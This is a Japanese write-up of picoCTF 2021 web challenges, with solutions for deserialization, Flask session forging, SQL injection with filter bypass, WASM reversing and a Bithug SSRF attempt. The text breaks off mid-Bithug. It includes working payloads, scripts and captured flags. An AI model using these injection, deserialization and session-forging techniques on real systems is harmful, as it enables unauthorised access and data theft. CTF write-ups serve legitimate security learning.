picoCTF 2021 Writeup
picoCTF 2021にmisoさんとd4wnin9さんと共にPui-Pui-CTFerとして参加し、世界11位&日本1位という結果でした。
自分が解いた問題についてWriteupを書いていきます。
- Web Exploitation
- Ancient History [10 points]
- GET aHEAD [20 points]
- Cookies [40 points]
- Scavenger Hunt [50 points]
- Some Assembly Required 1 [70 points]
- It is my Birthday [100 points]
- Some Assembly Required 2 [110 points]
- Super Serial [130 points]
- Most Cookies [150 points]
- Some Assembly Required 3 [160 points]
- Web Gauntlet 2 [170 points]
- Startup Company [180 points]
- Some Assembly Required 4 [200 points]
- Web Gauntlet 3 [300 points]
- Bithug [500 points]
- Cryptography
- Reverse Engineering
- Forensics
- Binary Exploitation
- Binary Gauntlet 0 [10 points]
- Stonks [20 points]
- Binary Gauntlet 1 [30 points]
- What's your input? [50 points]
- Binary Gauntlet 2 [50 points]
- Cache Me Outside [70 points]
- Binary Gauntlet 3 [80 points]
- Here's a LIBC [90 points]
- filtered-shellcode [160 points]
- Stonk Market [180 points]
- Kit Engine [375 points]
- The Office [400 points]
- Download Horsepower [450 points]
- Turboflan [600 points]
- 感想
Web Exploitation
Ancient History [10 points]
ブラウザで開くと、新規タブで開いたにも関わらずブラウザのバックボタンが有効になっていました。試しに何回か戻ってみると、URLの末尾に?}
, ?e
, ?b
とつくようになりました。バックするごとに後ろからフラグを得られるようです。JSで自動化してみてもうまく動かなかったので、ソースコードを読んでみます。難読化されていましたが、フラグが一文字ずつ書かれているのが見えたので正規表現(.*/index.html\?(.).*
)で適当に復元します。
picoCTF{th4ts_k1nd4_n34t_a1ac6cbe}
GET aHEAD [20 points]
Choose Red
とChoose Blue
の二つのボタンがあります。ソースコードを見てみると、Redの方はindex.php
にGET
、Blueの方はindex.php
にPOST
リクエストを送っているようです。
誘導が無く少し詰まりましたが、HTTPメゾッドの問題だろうと思って調べてみるとHEAD
メゾッドというものがあるのを知りました。
HEADメゾッドでリクエストしてみると、レスポンスヘッダにフラグが書かれていました。
picoCTF{r3j3ct_th3_du4l1ty_6ef27873}
Cookies [40 points]
サイト主の好きなクッキーを調べられるサイト?みたいです。とりあえず誘導通りsnickerdoodle
と入れてみるとI love snickerdoodle cookies!
という結果と同時にThat is a cookie! Not very special though...
と返ってきました。specialなcookieを当てないといけないようです。
タイトルから推測してブラウザのCookieを見てみると、name
というCookieに0
が入っていました。これを試しに1
にして再度読み込むと、今度はI love chocolate chip cookies!
という結果が帰ってきました。これを使ってspecialなcookieをブルートフォースで見つけられそうです。
Burp Suiteをこの前入れたので試しにIntruder機能を使ってブルートフォースをしてみると、name=18
でフラグが得られました。これくらいなら多分Pythonの方が早いです。
picoCTF{3v3ry1_l0v3s_c00k135_bb3b3535}
Scavenger Hunt [50 points]
HTMLとCSSに二つのフラグの断片がありました。
JSを見ると、How can I keep Google from indexing my website?
と書かれていました。翻訳にかけると、「Googleが自分のウェブサイトをインデックスに登録しないようにするにはどうすればよいですか?」とのことです。Googleのrobots.txtの概要にもある通りGoogle 検索結果でウェブページを非表示にすることを目的に robots.txt を使用することは好ましくないことですが、まぁ推測するにrobots.txtでしょう。
robots.txtを見るとフラグの断片と同時にI think this is an apache server... can you Access the next flag?
と言われました。適当に.htaccess
だとguessします。
.htaccess
を見てみると、フラグの断片と同時にI love making websites on my Mac, I can Store a lot of information there.
と言われます。Macは.DS_Store
がディレクトリに生成されるという話をTwitterのどこかで聞いたことがあったので見てみると、最後のフラグの断片が得られました。
picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_7a46d25d}
Some Assembly Required 1 [70 points]
WASM問じゃん!と思ってドキドキしながら開くとwasmにそのままフラグが書かれていました(は?)
picoCTF{51e513c498950a515b1aab5e941b2615}
It is my Birthday [100 points]
MD5ハッシュが衝突した二枚のPDFを送信すればフラグが得られるようです。適当にネットから拾って貼り付けます。
picoCTF{c0ngr4ts_u_r_1nv1t3d_3d3e4c57}
Some Assembly Required 2 [110 points]
今度はちゃんとxakgK\5cNs((j:l9<mimk?:k;9;8=8?=0?>jnn:j=lu
と暗号化されています。暗号文が割と印字可能な範囲に収まっていることからそこまで深く暗号化してなさそうなので、CyberChefのMagicに投げました。
picoCTF{ b2d14eaec72c31305075876bff2b5d}
(謎にスペースが入っている)
Super Serial [130 points]
ヒントを開くとThe flag is at ../flag
と書かれていました。(これはヒントじゃなくて必要な情報だろ...)
開いてみるとログインページですが、何も誘導が無くてかなりの時間詰まっていました。
なんとなしにrobots.txt
を開いてみると、Disallow: /admin.phps
と書かれていました。(こういうのやめてくれ...)
admin.phps
にアクセスしても404でした。.phps
について調べると、phpのソースコードにつける拡張子らしいです。
index.phps
にアクセスしてみると、ソースコードが得られました。
<?php require_once("cookie.php"); if(isset($_POST["user"]) && isset($_POST["pass"])){ $con = new SQLite3("../users.db"); $username = $_POST["user"]; $password = $_POST["pass"]; $perm_res = new permissions($username, $password); if ($perm_res->is_guest() || $perm_res->is_admin()) { setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/"); header("Location: authentication.php"); die(); } else { $msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>'; } } ?> ...
cookie.phps
を読んでみます。
<?php session_start(); class permissions { public $username; public $password; function __construct($u, $p) { $this->username = $u; $this->password = $p; } function __toString() { return $u.$p; } function is_guest() { $guest = false; $con = new SQLite3("../users.db"); $username = $this->username; $password = $this->password; $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?"); $stm->bindValue(1, $username, SQLITE3_TEXT); $stm->bindValue(2, $password, SQLITE3_TEXT); $res = $stm->execute(); $rest = $res->fetchArray(); if($rest["username"]) { if ($rest["admin"] != 1) { $guest = true; } } return $guest; } function is_admin() { $admin = false; $con = new SQLite3("../users.db"); $username = $this->username; $password = $this->password; $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?"); $stm->bindValue(1, $username, SQLITE3_TEXT); $stm->bindValue(2, $password, SQLITE3_TEXT); $res = $stm->execute(); $rest = $res->fetchArray(); if($rest["username"]) { if ($rest["admin"] == 1) { $admin = true; } } return $admin; } } if(isset($_COOKIE["login"])){ try{ $perm = unserialize(base64_decode(urldecode($_COOKIE["login"]))); $g = $perm->is_guest(); $a = $perm->is_admin(); } catch(Error $e){ die("Deserialization error. ".$perm); } } ?>
$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
にInsecure Deserializationの脆弱性がありそうです。これはpermに既に定義されているクラスまたは定数を読み込ませられることを意味します。
authentication.phps
も読んでみます。
<?php class access_log { public $log_file; function __construct($lf) { $this->log_file = $lf; } function __toString() { return $this->read_log(); } function append_to_log($data) { file_put_contents($this->log_file, $data, FILE_APPEND); } function read_log() { return file_get_contents($this->log_file); } } require_once("cookie.php"); if(isset($perm) && $perm->is_admin()){ $msg = "Welcome admin"; $log = new access_log("access.log"); $log->append_to_log("Logged in at ".date("Y-m-d")."\n"); } else { $msg = "Welcome guest"; } ?> ...
先程の$perm
に$log_file
を../flag
にしたaccess_log
を読み込ませ、なんとかしてread_log
を呼べばフラグを見れそうです。read_log
が呼ばれている場所を探すと__toString
関数で呼ばれていました。
__toString
が使えそうな場所を探すと、cookie.php
のdie("Deserialization error. ".$perm);
を見つけました。ここで$permが文字列にキャストされそうです。
<?php // Your code here! class access_log { public $log_file; function __construct($lf) { $this->log_file = $lf; } function __toString() { return $this->read_log(); } function append_to_log($data) { file_put_contents($this->log_file, $data, FILE_APPEND); } function read_log() { return file_get_contents($this->log_file); } } $perm = new access_log("../flag"); // echo serialize($perm); echo urlencode(base64_encode(serialize($perm))); ?>
このようなスクリプトを作り、出力をCookieのlogin
にセットします。
直接cookie.php
にアクセスしてもうまくいかなかったので、authentication.php
にアクセスしてみるとフラグが出力されました。
picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_c5123066}
Most Cookies [150 points]
from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session import random app = Flask(__name__) flag_value = open("./flag").read().rstrip() title = "Most Cookies" cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"] app.secret_key = random.choice(cookie_names) @app.route("/") def main(): if session.get("very_auth"): check = session["very_auth"] if check == "blank": return render_template("index.html", title=title) else: return make_response(redirect("/display")) else: resp = make_response(redirect("/")) session["very_auth"] = "blank" return resp @app.route("/search", methods=["GET", "POST"]) def search(): if "name" in request.form and request.form["name"] in cookie_names: resp = make_response(redirect("/display")) session["very_auth"] = request.form["name"] return resp else: message = "That doesn't appear to be a valid cookie." category = "danger" flash(message, category) resp = make_response(redirect("/")) session["very_auth"] = "blank" return resp @app.route("/reset") def reset(): resp = make_response(redirect("/")) session.pop("very_auth", None) return resp @app.route("/display", methods=["GET"]) def flag(): if session.get("very_auth"): check = session["very_auth"] if check == "admin": resp = make_response(render_template("flag.html", value=flag_value, title=title)) return resp flash("That is a cookie! Not very special though...", "success") return render_template("not-flag.html", title=title, cookie_name=session["very_auth"]) else: resp = make_response(redirect("/")) session["very_auth"] = "blank" return resp if __name__ == "__main__": app.run()
Cookies
の続きですね。flaskのセッションに格納されているvery_auth
がadmin
であればフラグが貰えそうです。
flaskのセッションに対する攻撃はhttps://qiita.com/koki-sato/items/6ff94197cf96d50b5d8fが詳しいです。
この問題ではapp.secret_key
がcookie_names
からランダムに選ばれているところが脆弱性です。これくらいなら総当たりできてしまいます。
総当たりにはflask_unsignを用いると便利です。./cookielist
はcookie_names
を行ごとに羅列したものです。
❯ flask-unsign --unsign --wordlist ./cookielist -c "eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.YGGXbw._wJ4kA-wLDL-j3TCBxhb9Okfm4k" [*] Session decodes to: {'very_auth': 'blank'} [*] Starting brute-forcer with 8 threads.. [+] Found secret key after 28 attemptscadamia 'fortune'
app.secret_key
がfortune
であることがわかりました。これでセッションを改ざんできます。
❯ flask-unsign --sign --secret fortune -c "{'very_auth': 'admin'}" eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.YGGYRg.zuwnqORyZuKfN1LEK1YD8YuYt2Y
これをCookieのsession
にセットすればフラグが得られます。
picoCTF{pwn_4ll_th3_cook1E5_25bdb6f6}
Some Assembly Required 3 [160 points]
(data (i32.const 1024) "\9dn\93\c8\b2\b9A\8b\90\c2\ddc\93\93\92\8fd\92\9f\94\d5b\91\c5\c0\8ef\c4\97\c0\8f1\c1\90\c4\8ba\c2\94\c9\90\00\00") (data (i32.const 1067) "\f1\a7\f0\07\ed")
このようにフラグが暗号化されています。本番中どう解いたか覚えてないので今から解きます。
copy_charが処理が複雑で怪しそうです。この関数はJSからcopy_char(input.charCodeAt(i), i)
と呼ばれます。
知らない命令が出たらhttps://webassembly.github.io/spec/core/を参考に、変数に名前を付けながら適当に推測していきます。
(func $copy_char (;3;) (export "copy_char") (param $arg1 i32) (param $arg2 i32) (local $_global0 i32) (local $const_16 i32) (local $global0-16 i32) (local $index i32) (local $const_4 i32) (local $var7 i32) (local $const_5 i32) (local $var9 i32) (local $var10 i32) (local $var11 i32) (local $const_24 i32) (local $var13 i32) (local $var14 i32) (local $_arg1 i32) (local $var16 i32) (local $var17 i32) (local $var18 i32) global.get $global0 local.set $_global0 i32.const 16 local.set $const_16 local.get $_global0 local.get $const_16 i32.sub local.set $global0-16 local.get $global0-16 local.get $arg1 i32.store offset=12 local.get $global0-16 local.get $arg2 i32.store offset=8 local.get $global0-16 i32.load offset=12 local.set $index block $label0 local.get $index i32.eqz br_if $label0 i32.const 4 local.set $const_4 local.get $global0-16 i32.load offset=8 local.set $_arg2 i32.const 5 local.set $const_5 local.get $_arg2 local.get $const_5 i32.rem_s local.set $var9 local.get $const_4 local.get $var9 i32.sub local.set $var10 local.get $var10 i32.load8_u offset=1067 local.set $var11 i32.const 24 local.set $const_24 local.get $var11 local.get $const_24 i32.shl local.set $var13 local.get $var13 local.get $const_24 i32.shr_s local.set $var14 local.get $global0-16 i32.load offset=12 local.set $_arg1 local.get $_arg1 local.get $var14 i32.xor local.set $var16 local.get $global0-16 local.get $var16 i32.store offset=12 end $label0 local.get $global0-16 i32.load offset=12 local.set $var17 local.get $global0-16 i32.load offset=8 local.set $var18 local.get $var18 local.get $var17 i32.store8 offset=1072 return )
適当に解読していった結果がこちらです。
key = b"\xf1\xa7\xf0\x07\xed" cipher = b"\x9dn\x93\xc8\xb2\xb9A\x8b\x90\xc2\xddc\x93\x93\x92\x8fd\x92\x9f\x94\xd5b\x91\xc5\xc0\x8ef\xc4\x97\xc0\x8f1\xc1\x90\xc4\x8ba\xc2\x94\xc9\x90\x00\x00" flag = "" for i, ci in enumerate(cipher): c = key[4 - (i % 5)] c <<= 24 c >>= 24 flag += chr(c ^ cipher[i]) print(flag)
picoCTF{730dc4cbcb8e8eab1ca401b6175ff238}
Web Gauntlet 2 [170 points]
いつものSELECT username, password FROM users WHERE username='$user' AND password='$pass'
型のSQLiです。
or and true false union like = > < ; -- /* */ admin
がフィルターされ、これらが入るとFiltered!
となりログインできません。
結論から言うとSUBSTR
関数を使います。$user
に'||SUBSTR(
、$pass
に'adm',16,3)||'in
とすると、SQL文は
sqlite
SELECT username, password FROM users WHERE username=''||SUBSTR(' AND password=''adm',16,3)||'in'
となり、最終的にusername='admin'
となります。
picoCTF{0n3_m0r3_t1m3_b55c7a5682db6cb0192b28772d4f4131}
Startup Company [180 points]
登録してログインすると、startup companyに寄付ができるフォームが与えられます。(送信しようとしてもInvalid Captcha
と言われる場合があります。これはよくわかりません)
寄付をすると、You're latest contribution: $
という部分に前回の寄付額が載ります。
寄付額は数字しか入れられませんが、これはクライアントサイドのみの制限なので適当にHTMLを書き替えれば大丈夫です。
さて、いつも通り'
を入力してみるとDatabase error.
と怒られました。SQLiでしょう。
ヒントにsqlite
と書いてあったので' || (select sqlite_version()) --
を入力してみると3.22.0
と表示されました。
UNIONを使ってもうまくいかなかったので、サブクエリで情報を得ます。
' || (SELECT group_concat(tbl_name,',') FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%') --
を入力してみると、startup_users
と表示されました。このテーブルにフラグがありそうです。
' || (SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='startup_users') --
と入力して型を調べると、CREATE TABLE startup_users (nameuser text, wordpass text, money int)
と出てきました。wordpassがパスワードっぽいですね。
' || (SELECT group_concat(wordpass,",") FROM startup_users) --
と入力すると結果の中にフラグが入ってました。
picoCTF{1_c4nn0t_s33_y0u_107b7785}
ところでこのテーブルには最初にユーザー登録した情報がそのまま入ってるんですよね、つまりSQLiで他の人のパスワードも知れるという...パスワード使いまわしてる人がいないか心配です。
Some Assembly Required 4 [200 points]
check_flag関数が怪しそうですが、今度は処理が複雑だったので流石に本腰入れて解読します。
一回wasmをcに変換してからコンパイルし、それをGhidraで見ると良いというテクニックをどこかで聞いたことがあったので試しにやってみましょう。
... local.get $var4 local.get $var0 i32.store offset=24 local.get $var4 local.get $var1 i32.store offset=20 local.get $var4 i32.load offset=24 ...
この時点ではただのアセンブリなのでかなり見づらいですね。
wabtをインストール&ビルドして、wasm2cを使ってcに変換します。
... w2c_l4 = w2c_i0; w2c_i0 = w2c_l4; w2c_i1 = w2c_p0; i32_store((&w2c_memory), (u64)(w2c_i0) + 24, w2c_i1); w2c_i0 = w2c_l4; w2c_i1 = w2c_p1; i32_store((&w2c_memory), (u64)(w2c_i0) + 20, w2c_i1); w2c_i0 = w2c_l4; w2c_i0 = i32_load((&w2c_memory), (u64)(w2c_i0) + 24u); ...
まだアセンブリをそのままCで表現したようなコードですね。これをコンパイルします。
このときヘッダファイルのパスが壊れているのでwabt
内の対応するパスに合わせましょう。
また、仮のmain関数を作り、wasm-rt-impl.c
を含めてコンパイルするようにしましょう。
コンパイルした実行ファイルをGhidra(私の場合はr2ghidra)で開いてみると、かなり読みやすくなっています。
uint8_t w2c_check_flag(void) { _wasm_rt_call_stack_depth = _wasm_rt_call_stack_depth + 1; if (500 < _wasm_rt_call_stack_depth) { wasm_rt_trap(7); } iVar2 = _w2c_g0; uVar1 = _w2c_g0 - 0x10; _w2c_g0 = uVar1; // 0x430 = 1072 = input i32_store((int64_t)w2c_memory, (uint64_t)uVar1 + 0xc, 0); while( true ) { // ivar2 - 4 == uvar1 + 0xc iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 4); cVar3 = i32_load8_u((int64_t)w2c_memory, iVar6 + 0x430); if (cVar3 == '\0') break; uVar7 = i32_load((int64_t)w2c_memory, iVar2 - 4); cVar3 = i32_load8_u((int64_t)w2c_memory, uVar7 + 0x430); i32_store8((int64_t)w2c_memory, (uint64_t)uVar7 + 0x430, (uint64_t)((int32_t)cVar3 ^ 0x14)); iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 4); if (0 < iVar6) { iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 4); uVar4 = i32_load8_u((int64_t)w2c_memory, iVar6 + 0x42f); uVar7 = i32_load((int64_t)w2c_memory, iVar2 - 4); uVar5 = i32_load8_u((int64_t)w2c_memory, uVar7 + 0x430); i32_store8((int64_t)w2c_memory, (uint64_t)uVar7 + 0x430, (uint64_t)(uint32_t)(int32_t)(char)(uVar5 ^ uVar4)) ; } iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 4); if (2 < iVar6) { iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 4); uVar4 = i32_load8_u((int64_t)w2c_memory, iVar6 + 0x42d); uVar7 = i32_load((int64_t)w2c_memory, iVar2 - 4); uVar5 = i32_load8_u((int64_t)w2c_memory, uVar7 + 0x430); i32_store8((int64_t)w2c_memory, (uint64_t)uVar7 + 0x430, (uint64_t)(uint32_t)(int32_t)(char)(uVar5 ^ uVar4)) ; } iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 4); uVar7 = i32_load((int64_t)w2c_memory, iVar2 - 4); cVar3 = i32_load8_u((int64_t)w2c_memory, uVar7 + 0x430); i32_store8((int64_t)w2c_memory, (uint64_t)uVar7 + 0x430, (uint64_t)(uint32_t)((int32_t)cVar3 ^ iVar6 % 10)); iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 4); if (iVar6 % 2 == 0) { uVar7 = i32_load((int64_t)w2c_memory, iVar2 - 4); cVar3 = i32_load8_u((int64_t)w2c_memory, uVar7 + 0x430); i32_store8((int64_t)w2c_memory, (uint64_t)uVar7 + 0x430, (uint64_t)((int32_t)cVar3 ^ 9)); } else { uVar7 = i32_load((int64_t)w2c_memory, iVar2 - 4); cVar3 = i32_load8_u((int64_t)w2c_memory, uVar7 + 0x430); i32_store8((int64_t)w2c_memory, (uint64_t)uVar7 + 0x430, (uint64_t)((int32_t)cVar3 ^ 8)); } iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 4); if (iVar6 % 3 == 0) { uVar7 = i32_load((int64_t)w2c_memory, iVar2 - 4); cVar3 = i32_load8_u((int64_t)w2c_memory, uVar7 + 0x430); i32_store8((int64_t)w2c_memory, (uint64_t)uVar7 + 0x430, (uint64_t)((int32_t)cVar3 ^ 7)); } else { iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 4); if (iVar6 % 3 == 1) { uVar7 = i32_load((int64_t)w2c_memory, iVar2 - 4); cVar3 = i32_load8_u((int64_t)w2c_memory, uVar7 + 0x430); i32_store8((int64_t)w2c_memory, (uint64_t)uVar7 + 0x430, (uint64_t)((int32_t)cVar3 ^ 6)); } else { uVar7 = i32_load((int64_t)w2c_memory, iVar2 - 4); cVar3 = i32_load8_u((int64_t)w2c_memory, uVar7 + 0x430); i32_store8((int64_t)w2c_memory, (uint64_t)uVar7 + 0x430, (uint64_t)((int32_t)cVar3 ^ 5)); } } iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 4); i32_store((int64_t)w2c_memory, (uint64_t)uVar1 + 0xc, iVar6 + 1); } // uVar1 + 4 == iVar2 - 0xc == j i32_store((int64_t)w2c_memory, (uint64_t)uVar1 + 4, 0); while( true ) { iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 0xc); iVar8 = i32_load((int64_t)w2c_memory, iVar2 - 4); if (iVar8 <= iVar6) break; iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 0xc); if (iVar6 % 2 == 0) { iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 0xc); iVar8 = i32_load((int64_t)w2c_memory, iVar2 - 4); if (iVar6 + 1 < iVar8) { iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 0xc); uVar7 = i32_load8_u((int64_t)w2c_memory, iVar6 + 0x430); // uVar1 + 0xb == ivar2 - 5 i32_store8((int64_t)w2c_memory, (uint64_t)uVar1 + 0xb, (uint64_t)uVar7); iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 0xc); uVar7 = i32_load8_u((int64_t)w2c_memory, iVar6 + 0x431); uVar9 = i32_load((int64_t)w2c_memory, iVar2 - 0xc); i32_store8((int64_t)w2c_memory, (uint64_t)uVar9 + 0x430, (uint64_t)uVar7); uVar7 = i32_load8_u((int64_t)w2c_memory, iVar2 - 5); iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 0xc); i32_store8((int64_t)w2c_memory, (uint64_t)(iVar6 + 1) + 0x430, (uint64_t)uVar7); } } iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 0xc); i32_store((int64_t)w2c_memory, (uint64_t)uVar1 + 4, iVar6 + 1); } iVar6 = w2c_strcmp(0x400, 0x430); _w2c_g0 = iVar2; _wasm_rt_call_stack_depth = _wasm_rt_call_stack_depth - 1; return (iVar6 != 0 ^ 0xffU) & 1; }
これを解読していくとこうなります。
cipher = [ 0x18, 0x6a, 0x7c, 0x61, 0x11, 0x38, 0x69, 0x37, 0x18, 0x09, 0x79, 0x0e, 0x68, 0x1b, 0x03, 0x3f, 0x07, 0x13, 0x42, 0x26, 0x60, 0x6d, 0x1b, 0x5d, 0x73, 0x04, 0x6c, 0x47, 0x52, 0x35, 0x5d, 0x17, 0x1f, 0x73, 0x33, 0x38, 0x40, 0x51, 0x77, 0x57, 0x51, 0x00 ] def check_flag(s): i = 0 while True: c3 = s[i] if c3 == 0: break c3 = s[i] if 0 < i: u4 = s[i-1] u5 = s[i] s[i] = u4 ^ u5 if 2 < i: u4 = s[i-3] u5 = s[i] s[i] = u4 ^ u5 c3 = s[i] s[i] = c3 ^ (i % 10) if i % 2 == 0: s[i] ^= 9 else: s[i] ^= 8 if i % 3 == 0: s[i] ^= 7 elif i % 3 == 1: s[i] ^= 6 else: s[i] ^= 5 i += 1 j = 0 while True: if i <= j: break if j % 2 == 0: if j + 1 < i: tmp = s[j] s[j] = s[j+1] s[j+1] = tmp j += 1 return s def decrypt(s): for i in range(len(s)-1, -1, -1): if i % 2 == 0: s[i], s[i+1] = s[i+1], s[i] for i in range(len(s)-1, -1, -1): if i % 3 == 0: s[i] ^= 7 elif i % 3 == 1: s[i] ^= 6 else: s[i] ^= 5 if i % 2 == 0: s[i] ^= 9 else: s[i] ^= 8 s[i] ^= i % 10 if 2 < i: s[i] ^= s[i-3] if 0 < i: s[i] ^= s[i-1] return s print(bytes(decrypt(cipher)))
これでフラグが得られそうですが、b"d}w{W@Rou prvp&-q!$p$%r%u!%'-$'prwqpu w8\n"
と出力されてしまいました。まだ何か暗号化されているようですが、前回同様CyberChefのMagicに掛けてみると良い感じになりました。
picoCTF{a4dfbd29e50d01f1a513903dfceda44c}
Web Gauntlet 3 [300 points]
前回とフィルタもSQL文も変わりませんが、今回は合計で25文字までしか送信できないようです。
適当にコードゴルフすると、$user
に'||SUBSTR('admi'
、$pass
に,1,4)||'n
を送れば25文字以内に収まりました。
picoCTF{k3ep_1t_sh0rt_eb90a623e2c581bcd3127d9d60a4dead}
Bithug [500 points]
GitHubみたいなサービスのソースコードが渡されます。量が多いですが怪しい部分は仲間が探してくれました。
web-api.tsにこう書かれています。
router.post("/api/register", async (req, res) => { ... // Every user gets their own target to attack. Please do not try to // attack someone else's target. const targetRepo = new GitManager(`_/${user}.git`); await targetRepo.create(); await targetRepo.initializeReadme(` ## Super Secret Admin Repo The flag is \`${process.env.FLAG ?? "picoCTF{this_is_a_test_flag}"}\` `); return res.send({});
Bighubにユーザー登録すると、自動で_
というユーザーが自分の名前のリポジトリを作りそこのREADME.mdにフラグが書かれるようです。
また、特徴的な機能はaccess.conf
とwebhookです。
access.conf
にアクセスを許可するユーザー名を書き、refs/meta/config
にpushするとBithug上でそのユーザーがリポジトリにアクセスできるようになります。
また、下の画像のようにリポジトリにpushされた時に走るwebhookを登録できます。
ブランチ名などをテンプレート機能で埋め込めたり、JSONとPlain Textを選べたりするようです。
webhookの処理はgit-api.tsの後ろの方にあります。
router.post("/:user/:repo.git/webhooks", async (req, res) => { if (req.user.kind === "admin" || req.user.kind === "none") { return res.status(400).end(); } const { url, body, contentType } = req.body; const validationUrl = new URL(url); if (validationUrl.port !== "" && validationUrl.port !== "80") { throw new Error("Url must go to port 80"); } if (validationUrl.host === "localhost" || validationUrl.host === "127.0.0.1") { throw new Error("Url must not go to localhost"); } if (typeof contentType !== "string" || typeof body !== "string") { throw new Error("Bad arguments"); } const trueBody = Buffer.from(body, "base64"); await webhookManager.addWebhook(req.git.repo, req.user.user, url, contentType, trueBody); return res.send({}); }); ... router.use("/:user/:repo.git/git-receive-pack", bodyParser.raw({ type: "application/x-git-receive-pack-request", limit: "10mb" })) router.post("/:user/:repo.git/git-receive-pack", async (req, res) => { console.log(req.body.toString("base64")); const ref = await req.git.receivePackPost(res, req.body); const webhooks = await webhookManager.getWebhooksForRepo(req.git.repo); const options = { ref, branch: ref.startsWith("refs/heads/") ? ref.slice("refs/heads/".length) : undefined, user: req.user.kind === "user" ? req.user.user : undefined, repo: req.git.repo, }; for (let webhook of webhooks) { const url = formatString(webhook.url, options); try { const body = Buffer.from(formatString(webhook.body.toString("latin1"), options), "latin1"); await fetch(url, { method: "POST", headers: { "Content-Type": webhook.contentType, }, body, }); } catch (e) { console.warn("Failed to push webhook", url, e); } } });
まず/:user/:repo.git/webhooks
を見てみると、webhookに登録するURLはlocalhost以外で、portは80番でなければいけないようです。これはURL
クラスを使って判定しているのでバイパスは難しそうです。(というか知らない)
req.user.kind
はauth-api.ts
に定義されていて、ログイン状態だとuser
、ログインされておらずlocalhostからリクエストされているとadmin
、そうでなければnone
となります。つまりこのAPIはlocalhostからではアクセスできないようです。
また、Content-Typeはstringであることしか制限がないので任意のContent-Typeを入力できます。
次に/:user/:repo.git/git-receive-pack
を見てみます。git-receive-pack
を調べると、git pushで送った更新データを受け取る時に使うURLだそうです。
このAPIにはadmin
の制限が無いので、localhostからでもアクセスできます。しかしContent-Typeが application/x-git-receive-pack-request
である必要があるようです。
ここで、const url = formatString(webhook.url, options);
の部分でURLにもテンプレートが使えることがわかります。これは悪用できそうですね。
テンプレートはformatString
関数で実装していて、使えるのはbranch
(ブランチ名), user
(ユーザー名), repo
(リポジトリ名)だけのようです。
さて、どう解くかを考えます。まずwebhookでSSRFが使えそうですね。
どうにかしてlocalhostの任意のポートにアクセスできないでしょうか。例えばユーザー名を127.0.0.1:1337
で登録してhttp://{{user}}/
のようにすれば実現できそうですが、ユーザー名やリポジトリ名にも文字種制限があります。
web-api.tsで登録する時に/^[a-zA-Z_-]{3,}$/
にマッチしなければなりません。これでは.
や:
が作れません。
ブランチ名はどうでしょうか。調べてみると、.
は使えるけど:
は使えないことがわかります。(https://wincent.com/wiki/Legal_Git_branch_names)
どうやって:
を作るか悩みましたが、/:user/:repo.git/git-receive-pack
に送信する内容を直接改ざんすることで違反したブランチ名でpushすることを思いつきました。
リクエストの確認にはrequestsbin.netを使いました。まず、http://requestbin.net/r/e6d4t1qe?{{branch}}
というwebhookを登録します。
次にrouter.post("/:user/:repo.git/git-receive-pack")
の処理にconsole.log(req.body.toString("base64"));
を追加して、どのような文字列を受信しているか調べました。
009b0000000000000000000000000000000000000000 45ca94d6d56ad7ce8894e361587a4ddea3041ce6 refs/heads/master \x02\x07&W\x06\xf7\'B\xd77F\x17GW2\x076\x96FR\xd6&\x16\xe6B\xd3cF\xb2\x07\x17V\x96WB\x06\x16vV\xe7C\xd6v\x97B\xf3"\xe3\x13\x12\xe3\x03\x03\x03\x03\x05\x04\x144\xb0\0 \x009jx\x9c+)JMU\xb0067HKM52H3\xb2H26\xb5L4\xb20I\xb34KJK2K3\xb142O4K41L2\xb7\xe0J,-\xc9\xc8/Rp\xca,\xc9(MW\xb0I->@J\xf4\x8d\xb2\x91\x89\xa1\x99\xa9\x91\x81\x91\x99\xa9\x92\x96\x81\xb0\x15w\'\xe6\xe6\xe6d\x94\x92\xa9Z\xb8<\xf32K2\x13s2\xab2\xf3\xd2\x15\x82\\\x1d]|]\xb9\x03\xc8\xa3\x17jRx\x9c340031Q\x87\'WO\x17]\\\xb4\xd6\x1e\x82\xb4\x9c\xb6#\x13_N\xa7\xfe\x0f\tU\xfe\x87\xa6\x9c]>\x03 \xc6\xdb\xcb\xab\xc2x\x9c\xe3RVV\x82\xe2\xd4\x82\xd5(NM.J-QpL\xc9\xcd\xccS\x84\xa2\xdc\x8e~*\xc9HUH\xcbILW\xc8,VHH\xe0 .p\xd9\xabn\x1b\x1eBU?\xa1y\x89\xbf\xdbQM\xc9\x9e\xda\xdae\xfb\x0f
ブランチ名が含まれていますね。ここのrefs/heads/master
を試しにrefs/heads/127.0.0.1:1823
に書き替えて/:user/:repo.git/git-receive-pack
に送信してみます。
